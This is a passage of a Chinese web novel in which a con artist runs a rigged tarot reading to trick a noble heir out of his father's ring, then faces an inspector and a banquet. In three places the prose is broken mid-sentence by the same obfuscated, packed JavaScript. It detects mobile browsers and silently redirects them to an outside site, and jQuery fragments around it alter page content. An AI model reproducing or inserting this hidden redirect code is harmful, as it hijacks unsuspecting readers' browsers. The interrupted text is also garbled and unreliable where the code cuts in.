这说明他默许了她的行为,她的做法在监察官看来并没有违规。 寻夏嘴角噙着笑意,收回视线,在人群中搜索她的目标。有买家向她的摊位围拢,但又都停留在距离摊位几步远的位置观望,没有人想做第一个上前的出头鸟。 刚才有人说,她打算“空手套白狼”,这倒是没说错。作为职业欺诈师,空手套白狼是她的基本功。 这不,她想要下套的那只“白狼”,已经自己送上门了。 “切,你少在这里装神弄鬼。”人群向两侧自动分开,一头红发的拉蒙和他身后提袋子的小弟,从正中间闪亮登场。 他大步流星地走来,一掌拍在寻夏桌上,仿佛颠勺一般,将满桌的塔罗牌颠了起来。 寻夏没有急着反驳,甚至没有抬头。她目光专注,指尖在桌面游走,像变魔术似的,有些凌乱的塔罗牌竟然在她的动作中,一一恢复了原位。 ——除了两张牌。 她将那两张牌向下一滑,行云流水地翻开,然后仰起脸直直看进拉蒙的双眼。 端坐宝座的君主颠倒,头戴冠冕的神女权杖向上。 是逆位的国王,和正位的女皇。 或许是大厅的人员太过密集,空气中二氧化碳浓度升高;又或许是寻夏的目光太过猝不及防,他还没有准备好与她对视。总之,他说不清为什么,冒出了一点没由来的心慌。 “冒昧一问,你目前有伴侣吗?”寻夏开口。 “这有什么好问的。”拉蒙扫了一眼翻开的一男一女两张牌,冷哼一声。 他不仅没有伴侣,甚至连恋爱都没有谈过。这两张牌是什么意思?显然占得不准。 他正想接着嘲讽,却被寻夏打断:“不是你自己,那就是你的家庭,你的……父母。” 拉蒙按在桌上的五指僵了一瞬。 “逆位的国王,父职、夫职缺位。失去掌控、秩序崩塌,通常也暗示着关系的失衡与背叛。”寻夏捏起两张牌,轻轻摩挲,话音不高,却足够让周围的每一个人都听清楚,“你的父母近来不睦?” “还有,你的父亲似乎一直都没有给予你足够的关注。” 拉蒙张扬的眉眼沉沉压了下来。身后的小弟猝不及防听了一耳朵,现在走也不是,留也不是,脸上写满了不知所措。 “胡说八道!”他猛地抽回按在桌上的手,在身侧紧握成拳,“我父亲忙得很,陪家人的时间少点怎么了?这很正常。” “这很正常。”他又重复了一遍。 后边的人群中有人交换着眼神,似乎想说些什么,但又碍于正主就在面前,生生忍住了。 基因贵族世家不为人知的家务事?这是广大人民群众最喜闻乐见的八卦,无论天际城还是下城。 寻夏望向他的眼神不动,她仔细地捕捉着拉蒙眼中闪过的每一缕情绪,还有他脸上表情每一个微小的波动。 “由我抽牌,能量链接不够紧密,出现误差也是有可能的。”她叹了口气,故意顺着拉蒙的意思松了口,又话锋一转,“不如,你自己来抽一张?” “放心,只是抽一张牌而已,你可以选择相信,也可以选择不相信。”寻夏的语气轻描淡写,却把拉蒙高高架起,用“选择”两个字,堵死了拉蒙拒绝的可能。 她都这么说了,他要是拒绝,岂不是显得很心虚? “好啊,抽。”拉蒙阴晴不定的脸上挤出一个冷笑,“我倒要看看你还能编出什么花样。” 他松开拳头,伸手就要朝幕布上的牌阵抓去。寻夏用牌盒抵住了他的手,从中拿出余下的五十六张小阿卡纳牌,与桌上原有的大阿卡纳牌并在一处。 塔罗牌在她手中如扇面展开,又倏地收拢,发出“唰”的一声轻响。她手腕动作,牌叠分成两半,交错,抬起,又落下,噼啪的声音像一场午后的骤雨。 寻夏洗牌的时候垂着眼,长长的睫毛在脸上投下阴影,随着放缓的呼吸起伏。拉蒙也不知道从哪个时刻开始,他的眼神从塔罗牌上溜走,落到了寻夏的脸颊。 直到七十八张塔罗牌被轻轻抹开,在幕布上铺开一道完美对称的扇形,拉蒙才恍然回神。 “抽牌之前,请先闭目凝神,在心中默念你的问题——关于你的家族,你的父母。”寻夏抬手示意。 拉蒙不耐烦地啧了一声,但还是依言闭上了眼。他的五官线条不算锋利,眉峰弧度也平缓柔和,所以当他不张牙舞爪的时候,比如现在,甚至能从他的脸上看出几分温顺。 寻夏在心中啧啧称奇。 “念完了。”拉蒙睁眼,又回到那副满脸戾气的模样。他没有思考,也没有犹豫,在七十八张牌组成的牌扇中随手抽出一张,啪地一声拍在了桌上。 寻夏替他将牌翻开。 牌面上,月亮女神在夜空中高悬,狼与狗在月光下吠叫。一条小径蜿蜒向远方的群山,一只龙虾从幽暗的水池中向上攀爬。两侧石碑阴森矗立,在黑暗中渐渐隐匿形状。 从寻夏的视角看是逆位,从抽牌人拉蒙的视角看,则是正位。 正是她在洗牌时做了手脚的那张月亮牌。 “正位,月亮。”寻夏的声音低沉下来,与牌面相映衬,凭空增添了几分阴沉诡谲,“象征着迷惑、不安、欺骗,还有逐渐浮出水面的危机。” “看,驯服与野性的博弈,动物本能在当下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536331|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占据上风。”她指尖轻点对峙的狼与狗,又落在混沌的水面,“你其实已经意识到了,潜意识里的恐惧与混乱正试图浮现。” 她又划过那条消失在群山深处的小路:“由近及远,前途未卜。暗示这些恐惧、欺骗与混乱并非来自外部,而很有可能源于内部,源于非常亲近的关系,已经被当事人察觉,却不愿或不敢正视。” 她每说一句,拉蒙脸上的血色就要褪去一分。寻夏语焉不详,似是而非,但没有人能比他更明白寻夏的意思。 “逆位国王,女皇,还有月亮……”寻夏顿了顿,像是在思忖,“你父母之间,或许存在一个‘影子’,扰乱了原本的平衡。” “霍华德少爷,你心中那份模糊的恐惧,并非空穴来风。” 这下,不止拉蒙听懂了,那些听到动静渐渐围拢过来的人群,也终于意识到了什么——霍华德家主和夫人之间,出现了第三者?他们二人的婚姻有可能因此破裂? 几十只眼睛纷纷向拉蒙看去,期待他再做出些反应。和之前一样斥责寻夏胡言乱语也好,恼羞成怒解释遮掩也罢,都能让他们窥见更多的蛛丝马迹,为他们提供更多的想象空间。 反正比起真相,他们更关心想象。 但拉蒙一言不发,他收敛了所有的表情,苍白的脸上几乎是漠然的。 他早就知道,父亲有一个,又或者是好几个情人了。他那些对着终端语气缱绻的时刻,从来不会避着他。 他有时候会想,不是说孩子是父母爱情的结晶吗?可现在父母不爱了,继承家业又有他年轻有为的哥哥,那么他这种一事无成的孩子,是不是只能沦为父母爱情的结石了? 但他想也没用,这不是他犯下的错,他也改变不了任何事。 寻夏细细观察着拉蒙如雕塑般渐渐凝固的神情,心想,火候差不多到了。 “霍华德少爷,窥探命运,是要付出代价的。”她挑出混在牌扇中的国王牌和女皇牌,将三张牌摆放成金字塔型,“塔罗牌给出了警示,但它也能指引方向。” “我可以为你再深入解读一次,或许能从迷雾中找到转机。不过这一次,你需要付出一些‘代价’。” 拉蒙刚刚的表现,显然不仅是对他父亲外遇一事知情,而且还对这件事非常在意。旧世界的东方民族有句俗语,叫做“事不关心,关心则乱”,已经找到了他的关心事,再去推动接下来的交易,自然是水到渠成。 拉蒙依旧一言不发,双唇绷成了一条直线。周围响起窃窃的私语声,寻夏并不理会,也不想去分辨,她只是安静地望向拉蒙沉寂的双眼,认真与他对视。 良久,拉蒙终于开口:“……好。” 他的声音听不出喜怒,像是竖起了一道厚障壁,强硬地拒绝着周遭的窥视。 “你要什么?”他问。 “‘以物易物’,”寻夏念出集市的规则,“这件物品最好与你想询问的问题、与你关心的对象,有着密切的联系。它蕴含的能量,能帮助我更好地链接现象背后的因果,给出最准确的启示。” 她嘴上慢条斯理地说着,心中却是雀跃——快点,把你们家族的宝贝交出来! 5. 熟人 拉蒙的脸微微侧过去,身后的小弟在“知道的太多”的惶恐中急中生智,替拉蒙挽尊:“我不信,这也太不科学了!少爷随便给她点什么,就当换个乐子听?” 说着,他打开手中一直提着的袋子,作势要拿给拉蒙,让他从中挑选。 “不用。”拉蒙没有回头,干脆地拒绝。他已经想好要拿什么和寻夏交换了。 他伸手抓住挂在脖子上的一大把项链,手指勾动,从最底下扯出了一条银链子。 链子上挂着一枚戒指。 那是一枚男戒,款式简洁却又很有设计感,铂金戒身上等距离镶嵌着六颗切割堪称完美的深蓝色宝石,泛着一看就身价不菲的夺目光泽。 这是他父亲的结婚戒指。 一位父亲,为什么会当着自己儿子的面,肆无忌惮地和情人调情?又为什么会将象征着爱情与责任的婚戒随意褪下,像丢开一件厌弃的旧物一样丢给儿子,不耐烦地对他说:“这个送给你了,自己去玩吧,不要来打扰我。” 拉蒙眨了眨眼,他想不明白。 “我用这个和你换。”他取下戒指,“如果你真的有本事,你应该能感受到这枚戒指的价值。” 他原本是一个坚定的唯物主义者,但现在他的信仰产生了一丝动摇。 寻夏伸出食指和拇指,一上一下捏住戒圈,正好与拉蒙的手指相错。 不远处,长桌尽头监察官的目光,久久地落在连接两人双手的那一枚戒指上。 “成交。”寻夏话音落下,一锤定音。 她接过戒指,拉蒙残留的体温已经冷却,金属的戒圈触感冰凉。她的手指在蓝宝石间流连,仿佛在细细感受,实则在装模作样。 她当然没有光靠“感受”就能判断这枚戒指来历的本事,但没关系,她可以在收下之后慢慢研究。 寻夏露出一点微笑,像是已经得到了某种指引。她将戒指压在聚拢成一沓的牌堆上,然后缓缓开口:“那么,让我们来一窥命运的启示吧。” 这一次,她没有让拉蒙抽牌。而是手指虚虚套上戒指,在洗完牌后迅速抽出了三张。 战车、权杖三、宝剑七。 “战车,本能和意志的冲突。” “权杖三,权力与掌控的博弈。” “宝剑七,秘密、隐瞒,还有……”寻夏套着戒指的手指点住卡牌,牌面上,一个男人偷偷抱起五把宝剑,还剩两把插在地上,“不要放弃。” 她扫了一眼拉蒙,他的目光在三张牌间游走,听得很认真。 “我看到有人已经开始行动,试图掌控原本不属于他的东西。”寻夏将语速放缓,明知故问,“你是不是有一位兄长?” 没等拉蒙回答,她又接着往下说道:“你需要关注自身的资产与权益,警惕家族内部矛盾可能带来的影响。家庭的动荡,或许不仅关乎情感,更关乎利益的分配与结构的重组。” 不仅有丈夫外遇、婚姻破裂,还有兄弟阋墙?伸长了耳朵听八卦的人越聚越多,在众人闪烁着兴奋的目光中,拉蒙硬邦邦地问她:“说完了?” 寻夏点头。 在两侧人群的夹道送别中,拉蒙头也不回地转身离开。 这些热衷于绯闻八卦、家长里短的人不是什么好东西,那群高高在上的基因贵族更不是什么好东西。 寻夏冲着人群礼貌又疏离地一笑,将桌上的塔罗牌和幕布一起收回了长盒中。 她懂一点儿塔罗牌,但不多。第三次占卜的抽牌是完全随机的,所谓的“启示”也是她牵强附会胡诌的。 但拉蒙还是听进去了。 因为对此刻的他来说,“启示”是否准确,其实根本就不重要。 欺诈有千种万种具体的方式,但概括起来,无非一个统一的逻辑:先发现一个人内心深处的渴望,再点燃他对渴望的欲望。 一个有执念、有所求的人,一定是这个世界上最好骗的人。 咔哒。 寻夏合上长盒,落锁的轻响像是一个句号。 除她之外的二十九名游戏参与者中,她最熟悉的就是拉蒙。其他人,她甚至连名字都不知道,面容也是模糊的,更别说他们“内心深处的渴望”了。她喜欢主动出击,但她不喜欢在一无所知的情况下盲目出手,这是热血上头的蠢人才会做的事。 她作为卖家的物品交易已经完成,深不可测神秘神婆的人设也立了个大概。见好就收,才能让这份神秘感持续发酵。A05的塔罗小铺,既不应该,也没必要继续开下去了。 寻夏起身,干脆地穿过人群,朝着楼梯口的方向走去。 临渊不知何时拿出了终端,目光在终端与寻夏的背影间游移,眉眼沉沉地压了下来。 “您瞧这工艺,这色泽,再看这夹层的镂空雕花,纯手工古法工艺,多有韵味!不瞒您说,这是我祖母的珍藏,中古vintage款,我也是犹豫了一上午,才决定拿出来,绝对物超所值!” 寻夏的脚步慢了下来。推销的女声,听起来似乎有些耳熟。 她装作被吸引的样子,侧目望去。A02摊位后,坐着一位身穿灰色条纹马甲西裤的女人。她手上拿着一个造型相当复古的古铜色雕花手镯,正向摊位前驻足的少女热情推介。 那手镯…… 寻夏认真看了两眼,什么中古vintage?那就是她们梧桐巷巷口的老奶每天叫卖的小玩意儿。纯手工制作倒是真的,但用的是最廉价的合金材料,十个信用点能买三个,仔细看雕花,还能看出老奶手抖的痕迹。 这样的东西,骗不到下城人,反而能骗到天际城那些不食人间烟火的有钱人。也不知道老奶听到她的手镯来到天际城摇身一变,变成了“中古vintage款”,心中作何感想。 不过,现在重要的不是手镯,而是手镯的主人。 寻夏抬眼,与拿着手镯的女人四目相对。 她们曾经见过,就在下城一区,梧桐巷。 女人状似不经意地对她眨了眨眼,眼神还是和当初一样,热烈、机敏,燃烧着无限的生命力。 寻夏不知道她的真实姓名,只知道她代号“启明”,是鹰党内部的重要人物。鹰党在下城很活跃,他们主张下城独立,反对基因等级分化制度,追求彻彻底底摆脱天际城的管控。 启明曾经找到过她,说鹰党很需要她的能力,邀请她加入鹰党,和下城的兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536332|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟姐妹们一起,为下城独立而奋斗。 但是她拒绝了。 “争取下城独立?不好意思,我没有这么远大的理想。”这是她们之间说过的最后一句话。 下城也好天际城也罢,在寻夏看来,都一样烂。她不想拯救任何人,她只关心她自己。 寻夏没有回应启明,自然地收回了视线,继续迈步向楼梯走去。 ……启明。她在心里默念这个名字。没想到她们两个再次见到,会是在这场逆位游戏中,还拥有一个共同的身份——下城来的“赝品”。 显然,她们都有各自的目的,能相安无事最好,能合作共赢也不错。只是希望这位老相识足够聪明,也足够谨慎,不要闹出什么幺蛾子,无端牵连到她。 楼下的吵闹渐渐远去,回到房间,合上门,寻夏才轻轻吐出一口气。 好累。 她随手将装着塔罗牌的丝绒长盒放回行李箱,然后取下虚虚套在拇指上的戒指,放在手心仔细端详。 铂金的戒身有划痕,甚至蓝宝石表面也有轻微的磨损,看得出戒指有些年份,而且戒指的主人对待它并不上心。 寻夏打开台灯转动戒指,内圈一行细小的刻花字母微微反光:Charles.H。 查尔斯·霍华德。戒指的主人是拉蒙那出轨的爹。 而从款式上来看,这枚戒指不像装饰戒,更像对戒。寻夏拿出终端,输入两个关键词,“查尔斯·霍华德”“婚礼”。 普通人的婚礼照片,只会出现在自己的个人空间;但合议庭的世袭大家族可就不一样了,一举一动都会在公共网络留下痕迹,供人茶余饭后谈论消遣。 果然,几张高清无损的新闻图片跳了出来。寻夏从八个不同的机位,看到了年轻的查尔斯·霍华德为他年轻的妻子带上戒指的瞬间。 他当时戴在无名指上的,正是一枚镶嵌着蓝宝石的铂金戒指。 寻夏嗤笑一声,将戒指扔进了床头柜。 正当她单手放大图片,想再观察观察别的细节时,屏幕上方突然弹出了一条消息通知。 「寻夏小姐: 请于三十分钟后,前往梅尔森城堡七层701房间。」 这是一条私人联络讯息,信息发送方顶着一个灰色默认头像,显示名称叫“逆位游戏监察委员会”。 寻夏的第一反应是梅尔森城堡居然有七层,比她想象得还高。不着边际的念头一闪而过,像是按下了开机键,大脑这才重新开始运转。 三十分钟后,刚好是四点整,初见日集市活动结束的时刻。那么这个所谓的“监察委员会”,大概率就是此刻正在楼下“监考”的临渊本人。 这么马不停蹄地传唤她,会是为了什么事呢?是她违反了游戏的规矩,还是因为她“占卜”出了霍华德家族的婚变内幕? 寻夏在床沿坐下,给自己滴了两滴眼药水,感受冰凉的液体包裹着美瞳片,在眼球表面左右滑动。 四点整,她隐约听到临渊宣布活动结束的声音。踢踏的脚步声向二楼涌来,又各自流淌进不同的房间,走廊渐趋沉寂。 四点十分,寻夏终于起身,悄无声息地推开了房门。 6. 夏老板 笃,笃。 她屈起食指,叩响了701的大门。 咔哒。 大门很快打开,临渊一身笔挺的制服,立在门后垂眼看她。 “请进。”他率先开口,侧身让出通道,嗓音里听不出情绪。 寻夏依言进门。701不是她们二楼那样的卧室房间,而是一间办公室。放眼望去,办公室里只有三个颜色,黑色、白色和灰色。 办公桌是整块的黑色石材,桌面上除了一左一右两块薄如蝉翼的显示屏,没有任何其它的物件。右侧有一张沙发,纯白的皮面没有污渍,也没有褶皱,像是从来没有屁股落座过一样。 正前方,巨大的落地窗被百叶精准分成几十等份,窗外世界的缤纷色彩被过滤成一道道规整的、黑白的光影,整齐排列在灰色的地板上。 说实话,她现在有一点忐忑。像是很久以前,她还在学校上学的时候,被老师单独叫去办公室谈话的心情。 “临渊长官找我,是有什么事吗?”与其被动等待,不如先发制人。寻夏自然地在纯白的沙发上坐下,开口问道。 “你迟到了。” 她维持着礼貌的微笑,却并不答话,仿佛在用闭上的嘴巴反问:如何呢?那咋了? 临渊在办公桌后坐下,抿了抿嘴角。在几秒钟的沉默过后,他直入正题:“这是至高纲领的时代,我不相信什么占卜。” 寻夏听明白了,原来叫她过来是为了这个。 至高纲领,是教廷信奉的对象。教廷的全称是“统一进化教廷”,不崇拜人格神,而是信奉一个抽象、至高无上的宇宙法则和进化蓝图,也就是所谓的“至高纲领”。 简单来说就是,现在是无神论时代,新世界不允许通灵。 塔罗占卜是假的,寻夏说出的信息却是真的,那就只有一种可能—— “昨天,你是从查尔斯·霍华德的包厢出来的。”临渊眯起眼,不是提问,而是肯定,“霍华德夫人能够当场撞破查尔斯和情人私会,是因为这位‘情人’,根本就是她安排你假扮的。” “而她给你的报酬,就是这场逆位游戏的进入资格。” 寻夏不置可否,脸上仍然挂着笑意。 “我在暗网上查到,下城一区梧桐巷的尽头,有一家没有招牌的店铺。”临渊打开显示屏,上面是几条相关帖子的截图,“店铺的主人叫做‘夏老板’,是下城最负盛名的天才欺诈师。” “夏老板——寻夏。”临渊缓缓念出她的名字,锐利的目光紧锁着她,好像要从她的脸上找出点什么蛛丝马迹。 办公室大门紧闭,空气在沉默中凝滞。只有横亘在黑白之间的光影,在安静无声地流动。 终于,寻夏动了动身体,皮质沙发在摩擦中发出嘎吱的声响,在此刻显得格外清晰。 “真是令人意外,”她轻轻笑了一下,不疾不徐开口,“原来教廷的公职人员,也会非法浏览暗网吗?” 临渊皱起眉头,严肃道:“不要转移话题。” 寻夏的眼神在他脸上转了一圈,一边心想俊男嗔怒还颇有几分姿色,一边撩了撩头发,向后往沙发背上一靠。 “那受人委托,扮演某个特定的角色,这是非法行为吗?”她问。 临渊愣了一瞬,还在思考该如何回答,可寻夏却不打算给他回答的机会。 “昨天在场的‘情人’究竟是谁,这并不重要。”她话音一转,抛出了一个突兀的问题,“他们完成离婚登记了吗?” 临渊几乎是下意识地回答,带着公事公办的腔调:“正在推进相关手续。” 寻夏点头:“查尔斯确实有至少一位情人,而那位夫人,于是选择结束这段已经丧失了忠诚的婚姻,主动寻求新的、更好的生活。” “这符合至高纲领中,‘人类应当不断学习、竞争和自我优化’的要义,不是吗?”她眨眨眼,接着道,“前提成立,结果美好,过程就并不重要。” 临渊沉默着,那双深邃的灰眼睛认真盯着她,透出的锐利的锋芒却笼上了一层薄雾。他思索着,似乎无法反驳这个结论。 主动权的天平,渐渐倾斜到了寻夏那端。 她略微坐直了身体,抹去礼貌而客气的笑意,换上一个势在必得的微笑。苍白的皮肤衬着红润的纯色,映出几分明艳的味道。 “另外,据我所知,教廷主要负责民政事务的统筹,以及统一基因检测,并无独立的执法权。那么,临渊长官今天邀请我前来,进行这样一番超出管辖范围的——”寻夏微妙地停顿了两秒,选出一个贴切的词语,“——‘质问’,究竟是出于什么立场呢?” “不是质问。”临渊几乎是立即否认,声音比先前更沉。他想要回答她的问题,但他发现,自己竟然说不出话。 无数的规章、制度、条文在他脑海中滚动播放,可没有一条,能让他定义自己此刻的行为。 寻夏却不打算放过他。她撑着沙发向前倾,求知若渴似地发问:“仲裁者,还是监察官?是教廷的授意,还是临渊长官个人的关切?” 她的眼睛像一汪旋转的深潭,越看,越让他的思绪混乱。 教廷的授意?不,寻夏是否假扮查尔斯情人这件事,确实超出了教廷的管辖范围,这只是他基于个人判断的一次传唤。 那么,个人的关切?这个念头升起的瞬间,像是有一根长长的狗尾巴草,在他心头轻轻挠了一下。 他为什么要多管这场闲事呢? 他看见寻夏深褐色的瞳孔中映出他的身影。可那双眼眸,本该是淡粉色的,他想。 “如果没有别的事的话,我就先回房间了。”寻夏起身,打破了过于漫长的、奇怪的沉默。安全度过风波,反将临渊一军,她想做的都已经完成了。 临渊转开脸,不再与她对视,目光落在漆黑的石桌上,好像能从模糊的反光中看出答案一样。 鞋跟与大理石地面碰撞,发出哒哒的声响。哒哒声即将离开房间,临渊却突然开口:“初见日晚宴在五点开始,迟了几分钟,抱歉。” 寻夏的脚步顿住了。 她打开终端,现在的时间是五点零六分。而消息列表中,躺着一封全新的未读邮件。 【初见日晚宴】 「今日活动预告:初见日晚宴 活动时间:17:00起< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536333|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 活动地点:梅尔森城堡一楼大厅 夕阳西下,华灯初上,诚邀各位玩家共赴这场精心筹备的初见晚宴。愿美食与美酒架起相遇的桥梁,让陌生的坚冰在热烈的氛围中逐渐融化。 请大家放松心情,尽情享用晚餐,度过一个美好的夜晚吧!」 “感谢提醒。”看完邮件,寻夏嘴角抽了抽,“临渊长官需要出席吗?” “我会晚一点下去。”不然,两个人在众目睽睽之下双双迟到,很难不惹人遐想。 寻夏颔首,抚平衣角的褶皱,大步向楼下走去。 她到一楼大厅的时候,几个小时前还空荡荡的长桌被填得满满当当,两侧的三十张椅子,也只剩下了最后一个空座。 这群高贵的天际城人真是该死的守时。 寻夏很有职业素养地保持微笑,镇定自若地走到了那唯一的空座旁,拉开椅子坐下。 椅子腿和地板摩擦,发出刺耳的吱呀一声,桌上三三两两的轻声交谈被打断,让本就不热烈的餐桌氛围雪上加霜。 进入游戏第一天,就在众目睽睽之下连续迟到两次,她恐怕可以参评逆位游戏有史以来最高调的赝品。 下午那次迟到,是她自己睡过了头,怪不了别人;晚上这次迟到,寻夏在心里默默给临渊记了一笔。 记完,她抬头朝对面几人友好微笑,却发现那些人看她的眼神有点奇怪。不是好奇,也不是审视,似乎是……同情? 寻夏后知后觉地想起了一个年代久远的寓言故事,路边苦李。 路边没有人摘的李子,大概率是发苦的;桌边没有人坐的位子,大概率是有坑的。 她扭头看向左边,左边坐着的是一个棕色蛋卷头、圆圆脸大眼睛的年轻女孩,她和寻夏对上目光,眼中霎时溢满了如出一辙的同情。 寻夏于是扭头看向右边。 右边的座位上,是一个白皙又瘦弱的男青年。他安静而板正地坐在那里,一头金色长发垂落腰间。眼睛是清澈的浅棕色,像两颗漂亮的琥珀。一身剪裁合体的纯白色礼服,衬得他的气质更加纯洁神圣。 好一朵让人不忍玷污的白莲花。 像是感受到寻夏的视线,金发青年微微侧过头,递来一个极其冷淡,还带着点不悦的眼神。 “你很没有礼貌。”他薄唇微张,说话的声音不大,但足够让周围一圈人都听清楚。 寻夏有些诧异,第一反应是好一朵富有攻击力的白莲花。然后她想起来,自己曾经在新闻上见过身边的这位金发青年。 塞巴斯蒂安·道格拉斯,是同样拥有合议庭世袭席位的道格拉斯家族这一辈的独苗。 汇聚在她身上的目光更复杂了,除了同情、怜悯,还多了点嘲讽与幸灾乐祸。 就在这时,楼梯上传来沉沉的脚步声,好事者的目光从寻夏身上挪开,投向了脚步声传来的方向。 临渊走了进来。他换下了那身笔挺的制服,穿着一套相对休闲的深灰色礼服,胸口别着银制的教廷标志,菱形外框中嵌着一只线条凌厉的独眼。 他走到长桌尽头的主位前方,视线扫过全场,唯独跳过了寻夏。 7. 晚宴 寻夏遥遥盯着他的眼睛,嘴角勾起一点弧度。 临渊站定,清晰而低沉的嗓音盖过了餐桌上细微的动静,在空旷的大厅里回荡。 “各位晚上好。正式自我介绍一下,我是本轮逆位游戏的监察官,临渊。”他略微停顿,将众人各异的神情尽收眼底,“我的职责是确保游戏在已制定的基本框架内运行,符合至高纲领的意志,审查一切可能存在的违规行为。” “另外,每三天一次的放逐选举也由我组织。本轮游戏第一次放逐选举,将在四十八小时后开始,请各位做好准备。”他的语气不重,却似乎意有所指,目光再次若有似无地扫过全场。 这次,寻夏对上了他的视线。 “现在,”他宣布,“晚宴正式开始,各位可以自由行动。” 话音还没完全落下,坐在长桌前几位的拉蒙就叮叮当当拿起了刀叉。他木着一张脸,看起来情绪不高,但他制造的噪音显著活跃了桌上的气氛。 临渊说完,安静坐下。有了拉蒙的带头,杯盘碰撞的声响逐渐放大,身穿衬衫马甲的侍者们登场,细声细语地为玩家们斟酒、上菜、掀开餐盖。 滋滋冒汁的特级牛排、裹满鱼子酱的油润鹅肝、小臂粗的龙虾刺身…… 食物的香气与酒香在空气中氤氲,氛围熏熏然醉人。 寻夏仔细回想了一番,有点不甘心,但还是不得不承认,在她前二十四年的人生里,吃过好的,可确实没吃过这么好的。 下城最常见的食物是冻干的预制合成餐。因为辐射,连普通的生鲜食品都不多见,而这些只有在实验室里才能培育出来的顶级肉品,更是花钱也买不到的。 她用叉子铲起鹅肝,放进嘴里咬下一口,用舌尖抿了抿。 鹅肝如奶油般化开,鱼子颗粒噼啪迸裂,脂香和咸鲜交织在一起,让她不自觉微微眯起了眼睛。 寻夏又咬下一口,将整块鹅肝都塞进了嘴里。余光中,对面的男人似乎在盯着她看,她抬起头来,对着他微微一笑。 “我叫柏砚,”男人对上她的视线,主动开口,“请问这位小姐怎么称呼?” 他穿一身熨帖的深蓝色西装,高挺的鼻梁上架着一副半框眼镜。镜片后的丹凤眼含着笑意,正耐心地等待她的回答。 寻夏不动声色地与他对视,总觉得他的笑意之下,还藏着点说不清道不明的东西。 “寻夏,”她一边打量,一边应道,“很高兴认识你,柏砚。” “是我很高兴认识你才对。”柏砚三指托起酒杯,站起来向前俯身,“就是不知道有没有这个荣幸,能敬你一杯?” 柏砚话说得客气,但举手投足的姿态完全没给她留□□面拒绝的余地。 装货一个,寻夏腹诽。 于是她也端起酒杯,换上一张她对付男人最惯用的弯眼扬唇的笑脸,和他对装:“当然。” 当的一声,两只玻璃杯横跨长桌,在中央轻轻相碰。柏砚的那只杯沿略低一些,深红的酒液在杯中摇晃。 整个过程中,柏砚的双眼都紧紧注视着她,一刻都没有偏移。 寻夏在他一瞬不瞬的目光中抿了一口红酒,缓缓咽下,然后向他举杯致意。 这不是普通的搭讪,当然也不可能是单纯想和她交朋友,柏砚有别的目的。虽然究竟是什么目的,她暂时还不知道。 寻夏平稳地将酒杯放回桌上,正想拉动椅子入座,右手手肘却忽然磕上了一个硬物,发出咚的一声闷响。 紧接着,是叉子尖刺划过碗底的刺耳噪音,尖锐又细长。 她转头去看,和同样转头过来的塞巴斯蒂安四目相对。 原来她撞上的硬物是他的手肘。 他是个左撇子,原本正用左手持叉,优雅地卷起碗中的意面。 但寻夏那一下结结实实的肘击,不仅让他卷好的意面唰地散开,酱汁飞溅,落了一滴在纯白的衣领上;还让他的叉子在摩擦中发出了很不得体的声响,吸引了周围几人的目光。 塞巴斯蒂安动作缓慢,悄无声息地放下了手中的银叉。 寻夏有种不祥的预感,果然,在她脑筋急转但还没想好该说点什么的时候,塞巴斯蒂安就先开尊口了。 “我不喜欢和任何人有任何肢体接触,请你注意分寸,不要动一些不该动的心思。”他漂亮的琥珀色眼睛里升起冷冰冰的怒火,语气是毫不掩饰的厌恶。 他的声音不大也不小,坐在附近一圈的人都能听清。 他字里行间好像在说,寻夏是故意要和他产生肢体接触的,寻夏对他有非分之想。 周遭的空气再次安静下来,数道目光又一次聚焦在寻夏身上,有看戏,也有玩味。 柏砚挑了挑眉,视线扫过寻夏,又在塞巴斯蒂安那套高定纯白礼服上流连了一阵,这才慢悠悠地出声:“我很抱歉。” 他是对寻夏说的,也只是对寻夏说的。 毕竟寻夏在坐下中途不慎撞上塞巴斯蒂安,是因为他邀请寻夏起身与他碰杯。但他的抱歉也就到此为止,他可不想招惹塞巴斯蒂安,早早把自己摘出去才是正事。 寻夏面上楚楚可怜地摇摇头,心中呵呵冷笑了两声。 一个虚伪的装货,一个暴躁又自恋的白莲花,好好一场晚宴,她怎么就被这两人呈L型包围了。 都怪临渊。 正想着,她瞟了一眼临渊。临渊一手拿刀一手拿叉,手上的动作是在切牛排,眼睛却不知道为什么,正正好撞上她的视线。 他睫毛颤了颤,垂下了眼。 “诶,诶!”短促而小声的呼唤从寻夏左边响了起来,是那个圆圆脸的蛋卷头女孩在冲她招手,像是有话要对她说的样子。 寻夏侧身将耳朵凑过去,女孩用手严严实实地掩住嘴,用气声飞快说道:“快道歉,他姓道格拉斯!” “谢谢,你叫什么名字?”寻夏本来还在思索该如何应对,看到女孩着急的样子,却不自觉地笑了。 